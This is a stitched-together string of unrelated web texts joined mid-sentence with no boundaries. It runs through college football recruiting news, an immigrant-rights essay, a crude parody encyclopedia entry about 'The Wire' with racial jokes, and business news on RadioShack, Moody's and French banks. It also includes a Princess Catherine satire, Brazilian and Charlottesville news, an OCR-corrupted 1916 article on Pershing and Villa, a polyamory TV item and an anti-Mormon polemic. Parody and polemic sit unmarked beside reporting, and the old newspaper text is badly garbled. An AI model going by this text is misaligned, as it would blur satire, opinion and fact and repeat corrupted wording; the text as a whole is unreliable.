Rasul has not visited Florida State since receiving a scholarship offer in February, but plans on making a trip up to Tallahassee on a bye week in August during his senior season.
He says along with Fisher and Brewster, running backs coach Jay Graham also had an impact on his commitment.
“When I went up there (in February), and I saw everything (Graham) was doing,” Rasul said, “I believed then that if he helped make Dalvin Cook the way he is today, that he could do the same with me.” Cook, also from Miami, became the first freshman in school history to rush for more than 1,000 yards last season.
After Miami, Rasul said FSU sat atop his list of prospective schools ahead of Tennessee, Georgia, Alabama and South Carolina.
Schools like West Virginia, Virginia Tech, Texas A&M and LSU also entered the mix after he decommitted from Miami. But Rasul said he looked over the depth charts at his top schools and “who’s been rocking with me the most, and that’s what it came down to.”
Brewster, FSU’s tight ends coach who is also the Seminoles’ lead recruiter in South Florida, posted several tweets on Twitter indirectly catered for Rasul on Monday.
First it was “#305speed” around 11 a.m. Then it was “So good to be a #FloridaStateSeminole” with an emoticon of a palm tree at the end of the tweet after Rasul’s pledge became public.
“There’s a lot of camaraderie out there,” Rasul said. “Just a lot of spreading love.”They did not riot.
They did not threaten Congress with guns, pitchforks or revolution.
They did not spit on members of congress or hurl bigoted abuse at them.
They did not declare hate for the President. They don’t claim that he is an usurper. They hold respect for him and the position he occupies.
They love America.
They are the true patriots.
They are the people that clean up the shit in the bath rooms, clean the dishes in restaurants and change the dirty sheets at hotels. For that, they get mistreated, get no contract jobs, get no recourse from the Government, get no back up from the police if mugged or worse. They are not even included in the health care reforms just passed.
Despite all of that, they still love America.
It is time for America to deliver on an ancient promise.
Not like the brazen giant of Greek fame,
With conquering limbs astride from land to land;
Here at our sea-washed, sunset gates shall stand
A mighty woman with a torch, whose flame
Is the imprisoned lightning, and her name
Mother of Exiles. From her beacon-hand
Glows world-wide welcome; her mild eyes command
The air-bridged harbor that twin cities frame.
“Keep, ancient lands, your storied pomp!” cries she
With silent lips. “Give me your tired, your poor,
Your huddled masses yearning to breathe free,
The wretched refuse of your teeming shore.
Send these, the homeless, tempest-tossed to me,
I lift my lamp beside the golden door!“...and all the pieces matter.” ~ Lester Freamon on jigsaw puzzles
The Wire ( /ˈbɒltɨmɔr/, colloquially /ˈbɒlmɔr/ ) is the largest independent city in the United States and the largest city and cultural center of the US state of Maryland. Founded on June 2, 2002, The Wire is the largest U.S. seaport in the Mid-Atlantic and has more stevedores-entrenched-in-a-life-of-crime per square inch than any other major seaport on the East Coast. The Wire's Inner Harbor was once the second leading port of entry for Greek drug lords[1] to the United States and a major decrepit manufacturing center, though these facts were largely forgotten about after the end of Season 2. According to a TV Guide poll in 2007, The Wire was rated the 3rd best city in the United States for "gritty realism." Its population is mostly comprised of savvy drug dealers and drunk cops, though a few notable exceptions exist.[2]
Thanks to the fame of The Wire, a television show called Baltimore was produced by HBO, based on the various goings-on of the city. The show opened to mixed reviews, some praising the naturalistic acting while others panned it for "not being as realistic as The Wire."
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Gritty History
“You cannot lose if you do not play.” ~ Marla Daniels on being a metaphysically better puzzle-solver than Lester Freamon
The Wire was founded in 1741 by two enterprising tobacco farmers named Ed Burns and David Simon, who had grown greatly disillusioned by the tobacco farming institutions in North Carolina and set forth to create a Utopian city on the Maryland coast. Though The Wire started out only as a small village, it was somehow already in a state of urban decay. By the outbreak of the American Revolution, it was already swarming with sympathetic drug dealers, ambitious drug lords, scarred vigilantes and their blind sidekicks, heroin junkies in search of redemption, and a mostly-theoretical upper class.
Despite the mysterious instant ghettoizing, The Wire thrived as a culture-rich commune, and ballooned over the years into the city that is known and loved today. However, most remained ignorant of the city and its culture until patriarchal overlords Ed Burns XIV and David Simon XII struck a deal with premium television provider HBO to develop a series named Baltimore based upon the city's rich history. Plot lines followed the actions of fictionalized cop Timmy McNorbit as he thwarts the criminal workings of the drug-peddling Baltimore Organization, named after the eponymous Avon Baltimore.
Though the Baltimore contract sparked the popularity flames, The Wire sustained substantial national attention largely on its own merits. The Wire natives spoke in Shakespearean tongues, plotted their days meticulously,[3] and interacted with substantial degrees of tension and catharsis, alike. Enticed by these characteristics, and the day-to-day intricacies that such characteristics produced,[4] The Wire became an instant tourist trap for stuffy intellectuals and suburban homeboys alike. While these groups sung high praises of their experiences in the city, the Wire failed to appeal to a broader audience of Americans, who found the city "too slow and complicated" to visit on a week-to-week basis. As a result, the Chamber of Commerce underperformed on tourism for the first fiscal year, though the cult following guaranteed the city two more years of urban renewal.
David and Burns took advantage of the city's popularity and, in 2003, began a cross-country advertising campaign to draw attention to the city's decaying seaport. Many experts argued in favor of this campaign, calling it the best decision the city's ever made, though it failed to gain the widespread attention that West The Wire's drug game attracted. David Lancaster, who became the literal Doctor Wire after receiving his Ph.D in Comparative Wireology and Wireonomy, wrote an essay on the subject; to quote:
“ Any social scientist worth his weight in salt can tell you that life is two things: boring and realistic. What happens at The Wire's docks is ludicrously boring, and by far the most boring thing ever to happen in the city. Does this in turn make it more realistic? Certainly. But if people like The Wire because it's so down-to-Earth, then should the people like it more because of that? It is a question that has plagued me for many months, and I hope it will be answered next season. ”
This conundrum has been labeled The 22 Dead Hookers Paradox by experts, after a line said by "The Bunk" Moreland, The Wire's deputy commissioner of Homicide and Consumer Affairs from 2002 to 2006.
Realistic Reform
Citizens, long fed up with years of ostensibly being ruled by territorial drug lords and corrupt police commanders, decided to finally develop political infrastructure in 2004. A makeshift city council headed by Burns and Simon decided to start by installing a mayor, Clarence Royce. His brief two-year term was plagued with rising murder rates, rampant drug trafficking in both West and East The Wire, and excessive allusions to the War in Iraq. These problems—in addition to the fact that tourists only came to the city for the drama between the cops and robbers, and couldn't care less about politics—led to Royce's failure during the 2006 elections.
Tommy Carcetti, the slick mayor-elect, promised improvements and change to life in The Wire. He started by creating a school system for The Wire's underprivileged children, which promptly fell millions of dollars into debt. Most city children did not know exactly what a "school" was and retained their lives slinging dope on the street; however, enough kids attended the schools to officially label them as overcrowded. Thanks to the help of bumbling ex-cops-turned-inspirational-teachers, test scores debuted at record highs, putting The Wire on the national map for education. Simon and Burns, terrified that the public might be fooled into thinking a public institution could actually be successful, bullied Carcetti into dismantling the school system and ensuring that each lovable schoolchild suffered a bleak, grisly downfall.
Figuring it would be impossible to recoup its near-instantaneous losses, The Wire demolished the school and paved a newspaper office over it. It would seem that The Wire had a problem with institutions such as the docks, the school, and the newspaper, because once again the public just couldn't care enough about it; the only reason The Wire got tourists since 2007 was because people wanted to know whether or not Omar died.[5] City founders Burns and Simon determined, once again, that the only solution for institutional problems was to destroy the institution, and the city of The Wire was completely razed to the ground on March 9, 2008. When notified by a reporter that this action contradicts the theme that "life is cyclical" and "nothing changes," Simon told the reporter to shut up.
Though the land that used to be The Wire has been converted into a Wal-Mart parking lot, the memory of the city has been immortalized in the Baltimore DVD box sets, now a staple of suburban families across the country.
Graphic Demographics
“It don't matter that some fool say he different...” ~ D'Angelo Barksdale on Christopher Gatsby, the only The Wire resident above the poverty line
The Wire's population has been decreasing considerably over the years, mostly as a result of murders and disappearances related to the local Stanfield crew. An estimated 8% of the population in 2006 was murdered by Stanfield's enforcers, Chris Partlow and Snoop, and hidden in abandoned houses.[6] In 2008, The U.S. Census bureau estimated the racial composition of The Wire to be as follows:
88% black or African American
11% Five-O.
1% stereotypically Jewish lawyers
The Wire has been praised for its great number of African Americans, many of whom lead prosperous lives. The local government realized this demographic anomaly by celebrating it to its fullest extent, declaring January 1st to December 31st "Black People Year." While most cities feature few African Americans, often for their comic relief or expendability, The Wire proudly wore its Black majority like a badge of honor. Though it is constantly cited as one of the only cities in the United States to deal with African Americans with such quiet respectability, this demographic majority had the negative side effect of bankrupting many local taxicab businesses, who refused to service 88% of their potential customers.
Violent Crime
“This is me, yo. Right here.” ~ Wallace, while ominously pointing at a pile of corpses
Contrary to popular facts, crime in The Wire has been remarkably low. Crime has experienced a 10% drop each year since 2002, every year. Though this reporting would baffle any common city-goer who gets brutally mugged on a weekly basis, there is a sensible reason to explain it all.
First, the criminal organizations in charge of The Wire's underworld significantly developed their skills at covering up since 2002, resulting in large drops in the number of committed crimes being reported. These diminished stats are sent back to the police commanders, who can't settle for a quick and simple jerk-off when there's a fleshlight factory right down the road. They juke the stats even further by removing pages 31 - 57 and marking all rapes as "statutory." The end result is a cool drop on overall crime and a big bump on the commissioner's salary.
Accurate Economy
“You follow I-95 south and take exit 64 onto Murderland Alley, you get The Wire. But you start to follow the money, you don't know where the fuck it's gonna take you” Lester Freamon on directions
Bribes. Millions of bribes flying back and forth between common folk, people of power, criminal and legitimate. These bribes, supplemented by blackmail bonds and dog fighting futures, kept the economy of The Wire afloat. Each bribe passed through state senator Clay Davis, head of the Maryland Financial Oversight Committee, who allocated the bribe money for public institutions after skimming 90% off the top, bottom, and middle for his personal bank.
The profit required for the initial bribes is collected by the current Drug Dealer-in-Chief, who passes it on to the Police Commissioner in exchange for a hefty bribe to cover up the transaction that just took place. The process is repeated with additional members of state, including the District Attorney, who has the option of bribing an underling to create a leak in the department if the economy starts to falter and additional bribes need to be manufactured. All transactions are passed through middlemen working at laundromats, who send the money through six hot wash cycles to make it look pretty, in exchange for a bribe per every 10 bribes laundered.
Authentic Government
“A city's gotta have a code.” ~ ex-Town Clerk Omar Little
The local government run by mayor Tommy Carcetti is, in actuality, nothing more than a dashingly handsome puppet show. He answered only to the two-man dynasty of Simon and Burns, who reserved almost total creative control over The Wire's big picture for its 6 year run.
Burns and Simon drafted a five-point constitution outlining the tenets all citizens of The Wire must obey:
“ Always obey the Chain of Command: Anyone found violating the chain of command will suffer strict consequences, such as being demoted or, more often, murdered. Hope doesn't exist: Anyone caught hoping between the hours of 6 AM and midnight will have their residency revoked. The only philosophy tolerated in The Wire is bottomless, abyssal cynicism. Multiple offenders are, appropriately, murdered. This ain't Aruba, bitch: If you are Caucasian and live in The Wire, you are immune from the effects of murder. Additionally, if you are looking for sunlight and a good time, look elsewhere. If you are looking for abandoned warehouses and a strong probability of getting murdered, you've come to the right place. The Game never changes: Anyone who expects the Game to change is guilty of hoping, and will be promptly executed. Corollary: It's all in the Game. I got the shotgun, you got the briefcase. Everybody must get stoned: Unless you are handing out the stones to others. If you are not a drug dealer in the city of The Wire, it is mandated that you be under the influence at all times, be it from the intoxicating effects of alcohol, heroin, or your own charisma. These tenets will be observed by all walks of life in revelatory, parallel ways. Anyone disobeying these tenets will be swiftly murdered, their case to remain unsolved, forever to tick off His Hugeness Jay Landsman. ”
Though the Burns' and Simons of The Wire always possessed total oversight of the city's government, several generations cared more about gorging themselves on steamed crabs than actively ruling the city. Several groups rose to fill the vacuum and manage the city's day-to-day activities. The most prominent group was The Ministers, a board of powerful Black clergymen who ensured that a Caucasian would never gain power in The Wire unless he proved himself to be an "Uh Oh Oreo" through-and-through.
Legitimate Culture
“...the life of kings.” H. L. Mencken on living far, far away from The Wire, on a solid gold yacht surrounded by beautiful Finnish ladies
The culture of The Wire is split starkly down the middle of the city; the cultural differences between East The Wire and West The Wire are enough to practically label them as two separate cities. This vast impasse has led to uncountable acts of violence between the two hemispheres, who refuse to reconcile their differences over mac 'n' cheese instead of with MAC-10s. For example, West Side The Wire residents listen to The Big Phat Morning Show on 92Q, while East Side The Wire residents listen to The Big Fat Prop Joe or else they be cadaverous motherfuckers.
There have been several important steps taken recently to remedy the great divide, including a yearly basketball match between East's and West's best hired ringers. West dominated this game almost every year, using their winnings to hire more ringers. East coach Proposition Joe rallied against the odds in 2004 by employing the "look the part, be the part" strategy and dressing his team in full suits like Pat Riley. Under normal circumstances, East would have stroked out in the summer heat, but he had wisely anticipated an anomalous 40 degree day, much to the chagrin of West coach Stringer Bell.
The Wire also had a bustling music scene, though one exceptionally specific to the area. Funk, soul, rock, gospel, and folk influence the diverse stylings of local artists, though the end product of their efforts is always a cover of Tom Waits' "Down in the Hole." Local transient Steve Earle's rendition of the song sold enough copies to launch a career that eventually spawned a second song, "I Feel Alright."
Thesaurus References
“I said ALL the goddamn pieces matter!” ~ Lester Freamon on reading the fucking referencesIn a lawsuit filed this week, the creditors claim that Sprint didn't follow through with providing inventory and staff to the shared stores and used information from the partnership to open 200 competing stores near RadioShack's most successful locations. The lawsuit says that by doing that, Sprint destroyed around 6,000 RadioShack jobs and prevented the chain's recovery.
The suit is seeking $500 million in damages from Sprint, who has gone on to make other partnerships since its one with RadioShack. Sprint, owned by SoftBank, bought a 33 percent stake in Tidal earlier this year and is reportedly in discussions to make a deal with Charter and Comcast, which has put ongoing talks of a merger with T-Mobile on hold.
A spokesperson for Sprint said the company would be fighting the lawsuit and was disappointed by the creditors' claims.A video posted by West Seattle Blog (@westseattleblog) on Jan 7, 2016 at 6:10am PST
The M/V Doc Maynard is ending its first West Seattle-to-Downtown Seattle passenger run right about now; our Instagram clip above shows its first WS arrival, our YouTube clip below, its first departure:
TV lights shone on the first passengers to board; we were on Seacrest Pier watching as they admired the big new boat, delivered and dedicated in last September – since then, it’s spent some time filling in for its twin boat on the Vashon run, M/V Sally Fox, and awaited dock improvements at Seacrest, which were finished last month, enabling the crew to train for today and beyond. It can hold 278 passengers, more than twice its predecessor, the Spirit of Kingston, which is now the KCWT’s backup boat. And there’s rack space for 26 bicycles. KC Department of Transportation’s Marine Division director Paul Brodeur talked up other key points while the DM was boarding:
The half-million-passenger ridership milestone he mentioned was celebrated last month.Moody's Investors Service says that the performance of Australian covered bond programs during Q2 2015 continued to be supported by the stable Aaa rating of the Australian sovereign, the stable credit profiles of the issuers and the stable credit quality of the cover pool assets.
All Australian issuers are rated between A1 and Aa2 with a stable outlook.
In Australia, the stable and healthy composition of the cover pool assets was reflected in an improved average collateral score -- that reflects the credit quality of the underlying mortgages - of 6.8% in Q2 2015 compared to 7.2% in Q1 2015. The weighted average current loan-to-value ratios of the residential mortgage loans in the cover pools ranged between 56.7% and 65.4%.
Although the Australian Prudential Regulation Authority (APRA) data showed that the 3-month annualized investment lending growth rates to June 2015 for Australia's big four banks were 13.3% for Australia and New Zealand Banking Group Limited, 14.8% for Commonwealth Bank of Australia, 15.0% for National Australia Bank Limited and 10.0% for Westpac Banking Corporation, we witnessed only a slight increase in the proportion of investment loans in the cover pools -- to a simple average of 25.14% in Q2 from 23.92% in Q1 2015.
In July and early August, Australia's big four banks and other major mortgage lenders increased the interest rates they charge on residential property investment loans and interest-only (IO) loans (IO loans are primarily taken out by investors). Earlier in 2015, some banks also lowered the maximum allowable loan-to-value (LTV) ratios and introduced stricter serviceability tests on investment and IO loans.
These measures are credit positive for the cover pools because they will result in a lower proportion of investor and IO loans in these pools, in favor of safer owner-occupier and principal & interest loans. Over time, the measures that have been announced by banks are likely to slow growth in residential property investment loans to below 10% per annum, a level that has been deemed appropriate by APRA.
In Q2 2015, there was a significant improvement in the minimum over-collateralization (OC) commensurate with Aaa -- 0% and 7.1% from 7.9% and 14.9% in Q1 2015 for the four Australian major bank issuers and Suncorp-Metway Limited respectively.
This improvement was mainly driven by the change in using Counterparty Risk Assessment (CR Assessment) instead of Senior Unsecured Rating (SUR) as the Covered Bond Anchor Point under Moody's rating approach of covered bonds updated on 12 March 2015. The CR Assessment of all Australian covered bond issuers is one notch above their SUR. Despite the improvement, the Committed OC levels remained unchanged from Q1 2015 at 13.8%.
Moody's outlook for the Australian banking system is stable. Banks will navigate a challenging operating environment in the coming 12-18 months as economic growth slows on subsiding investments in the resources sector, while rising imbalances in the housing market are a notable downside risk.
Moody's expects the Australian banks' bad debt metrics and net interest margins will come under increasing pressure in the second half of 2015 and into 2016. Nonetheless, the prevailing low interest rate environment will limit the extent of the increase in credit costs, which we expect to remain below-long term averages. In addition, the banks' entrenched market positions will continue to underpin their solid credit profiles through the cycle.
Australian covered bond issuance of AUD84.2 billion in Q2 2015 was similar to the AUD84.6 billion level in Q1 2015.Oh. My. Gravy. Princess Catherine is right in front of me and I can't take my eyes off of her. It's like the royal wedding is happening all over again but on a football pitch and I won an invitation for buying a Princess Diana commemorative plate. I can't believe this is happening. She smells like sausages in heaven.
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Ohmygod she is so smart! I have never heard anyone tell a story this informative and enthralling in my entire life of listening to people talk. She should be one of those people who explains things for a living. She could totally do that if she wasn't already so good at princessing. Her hair is so perfect. How does she do it?
She's not making eye contact with Adam Johnson is she? Because he has no idea what she's talking about right now. Until an hour ago he thought her mother's name was "Debbie" but I was like, "No, Adam, it's Carole. Duh." He probably forgot already. Maybe if I just lean into her line of vision she will start smiling at me instead...
Mr. Frank Middleton. Mr. Prince Frank Middleton. Mr. Prince Frank Middleton, Duchessman of Cambridge. We could get a puppy together and name him Cupcake Lampard-Middleton. We can pick out little clothes for him pretend he is real people. Kitier Katba will be so jealous.
Hahahahahahahaha! Hahahahahaha! She is so funny! I don't usually laugh at people's anecdotes about the quirks of redecorating Kensington Palace but hers was just so perfect. She is so much better than Pippa in every way. Pippa might as well be an accident-prone groundskeeper called Warty Ted. My stomach feels like Beanie Babies. Maybe if I scratch my chin while I keep laughing really loud she will look at me.
Story continues
OMG OMG OMG what if she touches my hand right now? I would curtsy for her if I really had to. There are so many cooking shows we could watch together. Her boots must have been made by elves and kittens.
I am never going to wash this smile again.Brazilian police arrested former Finance Minister Guido Mantega on Thursday as a sweeping corruption investigation struck further at the heart of the Workers Party (PT) that ran the country for 13 years.
Police investigators told a news conference they took Mantega, long a confidant of recently impeached former President Dilma Rousseff and an early member of the PT, into custody at the Albert Einstein Hospital in Sao Paulo. He was there accompanying his wife as she prepared for surgery.
Mantega, 67, was ordered released from custody a few hours later.
The investigators said Mantega in 2012 requested a payment of 5 million reais, about $2.5 million at the time, from Brazilian business tycoon Eike Batista, a billionaire who has since lost his fortune, to pay PT campaign debts.
At the time, Batista’s shipbuilding unit OSX Brasil SA was discussing an oil platform project with state-led oil company Petroleo Brasileiro SA, known as Petrobras, and loans from state-owned development bank BNDES.
See also: Petrobras CEO Says Corruption Lawsuit Won’t Get in the Way of Business
Brazil‘s longest-serving finance minister of the past 70 years, Mantega |
ihuahua Are Reached
by the American Forces Un
der Pershing.
NOT A SHOT HAS
YET BEEN FIRED
Changes in Plans May be
Forced if Bandit Leader Re
fuses to be Invited into Fight
with the Americans.
EL PASO. March 18. The first
phase of the American expedition to
Mexico, in its rush along Villa's dim
j trail to the endangered Mormon col
onies is an accomplished fact tonight
: and accomplished without firing a
i hostile shot by the Americans. The
j second phase is already beginning. It
i was indicated, as tbe Americans have
: turned somewhere from Casas Gran
des to resume night marches toward
the rough mountain slopes wher-?
Villa has already preceded with a
start of one hundred miles. There
is a warning that this will not be
accomplished without fighting iti
bandits. It is implied a new and
i more stringent censorship at Coluni
j bus has been established.
j There was brief excitement today
j at Columbus when two soldiers on
j stretchers were brought into camp,
j One was thrown from a horse and
: the other had stomach trouble. When
Washiugton announced the American
column did not intend to occupy the
i cities, a menace to Mexican pride was
removed.
' The American troogs did not enter
i Casas Crandes last night and this
: morning found them camped Bear
, Colonia Dublan. Villa is located, nilb,
, some degree of detiuiieness. in west
ern Chihuahua, nearly due south of
j the American columns.
I All accounts sy Villa is 100 miles
'ahead of the Anierical soldiers. The
Americans are nearing the ground
: over which Villa recently passed
. where they will have an opportunity
,lo test the temper of the rural Uexl
I cans from whotu they might receive
! valuable information.
! The story that Villa is gathering
I :nen and U preparing to resist was
revived in constitutionalist circles. He
: is even said to have ten million rounds
of cartridges and sheils. many of
' home manufacturers secreted iu the
mountains here he is expected to
make a stand.
i Mexican Consul Garcia doubted the
! report and claimed that Villa intends
: to make the expedition a joke. "I am
i convinced Villa intends so play hide
and seek with the Americans. He
will never risk a fcal battle. News
of the rewards will flash through the
j country. I will be surprised if they
' do not bring results."
Garcia denied that tne pevp'e of
Guerrero and Galena were in sympa
thy with Villa. "Many are afraid ot
him because of the rain of terror he
; has inaugurated, but It must'be re
. membered that Villa of today is not
the Villa of five years ago."
PLANS MAY CHANGE.
SAN ANTONIO. March IV Failure
by Villa :o make a stand, and fight be
fore the end of next week, will rad
ically alter the methods employed so
far b the commander of the punitiv
expedition. Pershing's plan is not re
vealed and will not be if Funston can
prevent it. Every effort will be made
to keep the troops' movements a
iecret. I'ershiug's scouts may hae
brought him information on Villa's
location but such as were received at
general headquarters heie makes any
assertion little better reason to be
lieve that Villa has retreated as the
Americans advanced and that he i
somewhere in the Galena district,
south of Casas Grjndes..Most of the
reports place him trom sixty to one
hundred miles south of Casas Graa
tie in the mountains.
When Pershing start ed the junction
of troops which has taken place at
Casas Grandes. as planned without
expectation that Villa would e sight
ed before this time. It is renized the
only chance to eatch im at thit
stage ws that he would gather bla
forces and resist the advaic.
According to Punston's repe-H nftt
a shot was fired at the invader.The House Homeland Security Committee will hold a hearing on domestic terrorism and threats from extremist groups following the white nationalist rally that left several people dead and 20 others injured in Charlottesville, Va. Saturday.
Republican Rep. Micheal McCaul, the committee’s chairman, announced the Sept. 12 hearing in a letter to ranking Democrat Rep. Bennie Thompson.
“We must stand together and reject racism, bigotry, and prejudice, including the hateful ideologies promoted by neo-Nazis, the KKK, and all other white supremacy groups,” McCaul wrote. “They do not define who we are as Americans and their repulsive values must not be allowed to infect our neighborhoods and spread violence in our communities.”
Leaders of the Department of Homeland Security, the FBI and the National Counterterrorism Center have been invited to participate in the hearing, McCaul said in the letter.
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The Texas Republican wrote to Thompson in response to a letter he and other Democrats penned Tuesday requesting a committee hearing on the matter. “It is past time for this Committee on Homeland Security to act,” the Democrats wrote.
Saturday’s clash between white nationalists and anti-racism counter-protestors left three dead, including a woman who was killed when a man allegedly participating in the rally drove a car directly into a crowd of opponents. Two state troopers who were monitoring the rally died in a helicopter crash.
President Donald Trump on Tuesday doubled down on his belief that “both sides” were to blame for the violence. His statement drew swift condemnation from Democrats and Republicans alike.
Contact us at editors@time.com.There are three phrases the market never wants to hear. Ever. They are "contingency", "just in case", and "only." Alas, it just got all three of them in an article just released by French Le Figaro which, per Bloomberg, has disclosed that "France has been working for a number of days on a plan that would allow the state to take a stake in the country’s financial institutions if needed, Le Figaro reports, citing a source. The plan, the article continues, is being prepared “just in case” it’s needed and only 2 or 3 banks may be affected under plan." So, let's get this straight: France has scrambled to put together a nationalization plan to bail out just "2 or 3" banks, "if needed"... Uhhh, all we can say to this is, LEEEEEEEROOYYYYYYY JENKINS. Although the person we would most love to hear say it, is the person who until two months ago was the French minister of finance and currently head of the world's most irrelevant and disorganized organization.
Full Google Translated story:
Paris prepares a plan to help its banks
The Agency for State Holdings (EPA), meanwhile, has been working for several days in a scheme that would allow the French to enter the capital of financial institutions.
In the heart of summer, the little phrase from the Executive Director of the IMF, Christine Lagarde, the need for recapitalization of banks in Europe had created an uproar on this side of the Atlantic, both in government than among bankers. In France, especially, we stick tooth and nail for several weeks this summer's strategy, namely the implementation of the plan to rescue Greece from July 21 will address concerns and to redress market the situation.
But according to our sources, Paris is ready to act. If the level of European support-which must still be approved by some national parliaments, provides that the EFSF to recapitalize banks, the agency of state ownership (EPA), meanwhile, has been working for several days in a diagram that would allow the French to enter the capital of financial institutions. "It's just in case..." said a source familiar with the matter. Unlike what happened in 2008, which had pushed Bercy that all banks should call the financial office that had opened so that no-it-is stigmatized, only "two or three banks "This time would be affected by the device. "We're not in the same situation three years ago," says another source. And today, some are not willing to "pay" for others.
The Ministry of Economy, which is feared to fuel distrust of markets, it ensures that no recapitalization scenario is under consideration.
Controversy over the "AAA"
Whatever the option chosen at the end, France will act in any case keeping in mind that it is under the eye of the markets. Wednesday, after the announcement of the guarantee provided by the state borrowing by Dexia, the controversy over its continued financial rating "AAA"-one that enables it to borrow on the markets with the best price was great. This is Laurent Fabius who opened hostilities on the consequences of the guarantee provided by France. For the former Socialist prime minister, if the State "turns it on its back, it means that our triple A will not be comforted." Europe 1, he found the issue "very worrying". François Fillon has dryly responded, asking "several times to turn his tongue in his mouth before using expressions that are not accurate." The Prime Minister tried to reassure the public, adding that the state guarantees to Dexia will be "paid". However, he acknowledged, "no one can say in advance that this guarantee will cost the French taxpayer, although naturally each guarantee operation, there is a risk."
The Minister of Economy, Baroin, agreed meaning to the microphone RTL. "It will not increase the debt of the French state since, according to Eurostat, which is the body ESS, all the guarantees to banks are not included in public debt." Reasoning is true, as they are not lacking...
But it is a rating agency who has probably the most reassured Wednesday: "It is clear that increased financial commitments is not a good thing, but efforts to support the banking system can be positive" and strengthen its note, assured Maria Malas-Mroueh, an analyst at Fitch Ratings in charge of France.Comedian Russell Brand has never been one to shy away from controversy — in fact, he seems to run toward it. If there’s a heated debate about a topic, you can bet Brand has an opinion on it. This week, Brand spoke out about differences between media coverage of the terrorist shooting suspect in Copenhagen and the man who murdered three young Muslims, execution-style, in Chapel Hill, North Carolina.
In a video recorded in his bed, Brand points out that the media treats the Copenhagen terrorist as a representative of Muslim culture at large, whereas the alleged Chapel Hill murderer, Craig Stephen Hicks, is labeled a “disturbed individual.”
“If we acknowledge that the Chapel Hill murders were a hate crime, then we have to examine our cultural climate,” Brand says from the comfort of his plush bed.
The actor also takes issue with the film American Sniper’s simplification of Middle Eastern society, as well as with the media’s treatment of the three students murdered in Chapel Hill as Muslims first and Americans second.
Hicks was indicted on Monday by a grand jury on three counts of first-degree murder, and the FBI has opened a hate-crimes investigation. Brand thinks it’s ludicrous to argue that the triple murder was anything but a hate crime—and not, as some allege, a “parking dispute.”
“That’s convenient because there’s not a global ideology about parking spaces, is there?” Brand says. “We can’t all get behind that. We can’t all send hashtags about parking spaces.”
Screengrab via Russell Brand/YouTube"Destination America" Cable Channel
If the video player fails, watch here: http://america.discovery.com/tv-shows/hidden-in-america/videos/polyamory-in-america.htm
Narrator: Until the early 1990s, the word "polyamory" didn't even exist. It was invented by this couple: Morning Glory Ravenheart and her husband Oberon.
Morning Glory: The way the word polyamory came to be — a lot of people were trying to live a "non-monogamous" lifestyle. And that is a mouthful. "Non-monogamy." So I took the Greek word poly, which means "many," and the word amor, which is kind of French and also Latin, amo, amas, amat — and combined the two together, poly and amor to make polyamory.
Narrator: Morning Glory and Oberon are New Age pagans. They have been happily married and polyamorous for almost 40 years. They've shared 20 years of that with their partner Julie. And they're living proof that open marriages can go the distance.
Oberon: In polyamory the focus is really on love. I mean you can only do so much sex. Even when you're 18 you can only do so much sex. The rest of the time you're hanging out together. You've got to be able to talk to each other. Enjoy the same things. Work together. Enjoying the same movies, enjoying reading the same books. So it's a constant ongoing relationship.
Julie I don't think anyone "becomes" polyamorous. Any more than you "become" gay, or "become" female. I love to love. And I love to meet other people, new people. To flirt, to have new adventures — so a monogamous life simply would not work for me.
All: To lessons learned!
Discovery Communications, the parent company of The Discovery Channel, created the "Destination America" cable channel less than a year ago. "Destination America" specializes in sensational video documentaries. One of its shows is "Hidden in America," about unusual people and groups. A one-hour episode on polyamory and swinging is tentatively scheduled to air on Tuesday April 16 at 10 p.m. Eastern time (after it was bumped from March 16th).Already up on the show's website is a 2-minute video clip: a delightful interview with the early poly pioneers Morning Glory and Oberon Zell-Ravenheart and their partner of many years Julie O'Ryan:The Ravenhearts are walking, talking poly history with perhaps some mythology thrown in. Morning Glory (left above) was one of the two independent inventors of the word "polyamory," with her influential essay "A Bouquet of Lovers" which she published in their Neo-Pagan magazinein spring 1990; the word was also in handouts they distributed at a conference not long after. Oberon (birth name Timothy Zell) started the-inspired Church of All Worlds in 1962, helped to promoteand ideals of group love as the 1960s counterculture grew, and became a central character in the development of Neo-Paganism, including the strong poly streak that continues to run through the Pagan world. They were married in 1974.Today both Oberon and Morning Glory are cancer survivors who beat tough odds. They're completing their autobiography,scheduled to be published by Llewellyn in early 2014. Both are hale and hearty in the video, which Oberon tells us was filmed last August.The title of the full Destination America episode is "Swinging and Free Love." Bianca Ritchie, production coordinator for the Hidden in America series, informs us that "the episode runtime is 43 minutes and will include segments on the rise of swinging culture during the sexual revolution, modern swinging culture, distinguishing between Polyamory and swinging, a Polyamory community in Boston, and of course Oberon, Morning Glory and Julie." Deborah Anapol will also have a role.To see if the Destination America channel is on your cable, use the channel finder. To check if the schedule has changed again (and to find the likely reruns), see the Hidden in America schedule as the date draws near.Transcript of the clip above:
Labels: Destination America, Hidden in America, Morning Glory Zell-Ravenheart, Oberon ZellThis is just a sample. There is awesome revealing and shocking information in the book: http://tinyurl.com/7cz2cwv
Joseph Smith, the prophet and founder of the Church of Jesus Christ of Latter-day Saints (Mormons) tells us that the Book of Mormon was translated from some golden plates shown to him by a heavenly messenger on September 21, 1823
THE WEIGHT OF THE PLATES
The weight of the plates makes the story incredible. The heavenly messenger told Joseph Smith that plates were of gold. Joseph described the plates as being 6 inches wide, 8 inches long, and something near 6 inches in thickness. Gold has certain interesting properties. It is a very heavy metal, its specific gravity being 19.3. It is very soft and malleable. Plates made of gold would therefore pack down very tightly when stacked. A little figuring will reveal to the reader that the plates weighed 200.81 pounds or thereabouts!
The base of the monument on the hill in New York where Joseph Smith allegedly found the golden plates depicts him kneeling and receiving the 200 pound plates from the heavenly messenger with outstretched arms. Quite a physical feat!
Imagine Joseph Smith wrapping his linen shirt around this 200 pound block of gold plates, tucking it casually under his arm and strolling off towards home, some three miles distance! Imagine him further, running at the top of his speed through the woods, jumping over logs, and knocking down not one or two, but three assailants in the process, all the while with the 200 pounds of gold plates safely under his arm!
* * * * *
FOUNDER OF MORMONISM
Before founding Mormonism, Founder of Mormonism Joseph Smith was convicted on March 20, 1826 of being an imposter:
http://www.ils.unc.edu/~unsworth/mormon/jsconviction.html
Before founding the Mormon movement, Joseph Smith was convicted by a court of law in New York of being an imposter. Reading the case, one concludes that today we would say he was convicted of fraud.
Joseph Smith, the founder of the Mormon movement, had at least 24 wives. One was 14 years old, and after the marriage considered herself as an abused child. Here is a list of his wives from official church records:
http://www.familysearch.org/Eng/Search/AF/individual_record.asp?recid=7762167&lds=0
Brigham Young was the President of The Church of Jesus Christ of Latter-day Saints (LDS Church “Mormon” Church) from 1847 for 30 years, until his death.
